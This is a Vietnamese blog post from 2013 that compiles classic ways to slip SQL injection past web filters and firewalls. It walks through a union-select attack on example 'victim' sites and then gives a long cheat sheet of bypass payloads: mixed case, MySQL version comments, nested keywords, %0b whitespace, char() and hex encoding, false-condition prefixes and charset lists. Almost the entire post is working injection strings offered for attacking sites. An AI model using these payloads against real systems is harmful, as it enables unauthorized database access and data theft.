24 thg 8, 2013

Tổng hợp các cách bypass SQLi kinh điển

Định Nghĩa ByPass SQli
Chào các bạn. Như các bạn đã biết, Khi khai thác SQLi chắc rất nhiều lúc các bạn gặp phải trường hợp tìm thấy site bị SQli rõ ràng, nhưng dùng lệnh order by hay Union select thì không được,

Không có hiện tượng gì xảy ra. Không hề hiện như những hướng dẫn SQLi cơ bản các bạn từng đọc. Vậy Chuyện gì đã xảy ra???? Điều xảy ra ở đây là victim của các bạn đã trang bị một Bộ lọc hoặc một firewall, Admin đã lường trước những câu lệnh mà các bạn thực hiện SQLi và tạo ra những rules, Và thế là khi các bạn khai thác SQli những câu lệnh khai thác sẽ không sử dụng được nữa. Vậy chúng ta phải làm gì???? Rất đơn giản, các bạn hãy làm khác đi những câu lệnh đó. Làm sao cho admin không thể lường trước được nhưng những câu lệnh vẫn giữ nguyên bản chất của nó. Đó gọi là bypass SQLi.
VD:
- Khi mình khai thác site A.
http://victimA.com/index.php?id=-3 union select 1,2,3,4,5,6-- -
Thấy trang victim hiện lên số 4 => đã tìm thấy cột bị lỗi,
- Khi Khai thác site B
http://victimB.com/index.php?id=-3 union select 1,2,3,4,5,6-- -
Thấy trang Victim chả hiện gì cả(hoặc là thông báo lỗi) Vậy mình => trang này cần bypass. Và mình thay câu lệnh khai thác trên thành:
http://victimB.com/index.php?id=-3 UNION all /*!50000SELECT*/ 1,2,3,4,5,6-- -
Mình thấy nó hiện số $ => Đã thấy cột bị lỗi.

Kết Luận: Trường hợp khai thác site B chúng ta đã bypass SQli.
Tổng hợp các câu lệnh bypass SQLi
Cách 1: thay ký tự thường bằng ký tự hoa
id=1+UnIoN SeLeCT 1,2,3,4– -
Cách 2: dùng cặp thẻ /*!code*/
id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4– -
Cách 3: dùng like thay cho = (khi dấu = bị chặn)
/*!TaBlE_ScHeMa*/+like+database()– -
Cách 4: Lồng Union và select
id=1+UNIunionON+SeLselectECT+1,2,3–
Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:
sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+’SeL”ECT’
Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)
Cách 7: dùng char()
CHAR(117, 115, 101, 114, 115)
Cách 8: show table ẩn:
group_concat(unhex(hex(table_name)))
cách 9: select
UNION all /*!50000SELECT*/
Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables
Cách 11 Thay các dấu cách bằng ký tự + hoặc mã Hex
.php?id=1+union+select+1,2,3--+
bypass khoảng trắng= %0b Ví dụ:
1'order by 3-- - khi bypass sẽ được:
1'%0border%0bby%0b3--%0b-
Hoặc: Method bypass
union(select(0),version(),(0),(0),(0),(0),( 0),(0),(0))
/*!50000union*/+/*!50000select*/
UNIunionON+SELselectECT
+union+distinct+select+
+union+distinctROW+select+
union+/*!select*/+1,2,3
union/**/select/**/1,2,3
uni%20union%20/*!select*/%20
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
after id no. like id=1 +/*!and*/+1=0

+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0)
False The Url::

=-id=-1 union all select
id=null union all select
id=1+and+false+union+all+select
id=9999 union all select
Order Bypassing do like this

/*!table_name*/
+from /*!information_schema*/./*!tables*/ where table_schema=database()
unhex(hex(Concat(Column_Name,0x3e ,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%2011 5,%2037)
used with order::

convert()using ascii)
unhex(hex())
If ascii dont work you could try:

ujis
ucs2
tis620
swe7
sjis
macroman
macce
latin7
latin5
latin2
koi8u
koi8r
keybcs2
hp8
geostd8
gbk
gb2132
armscii8
ascii
binary
cp1250
big5
cp1251
cp1256
cp1257
cp850
cp852
cp866
cp932
dec8
euckr
latin1
utf8

Nguồn: Root

Không có nhận xét nào:

Đăng nhận xét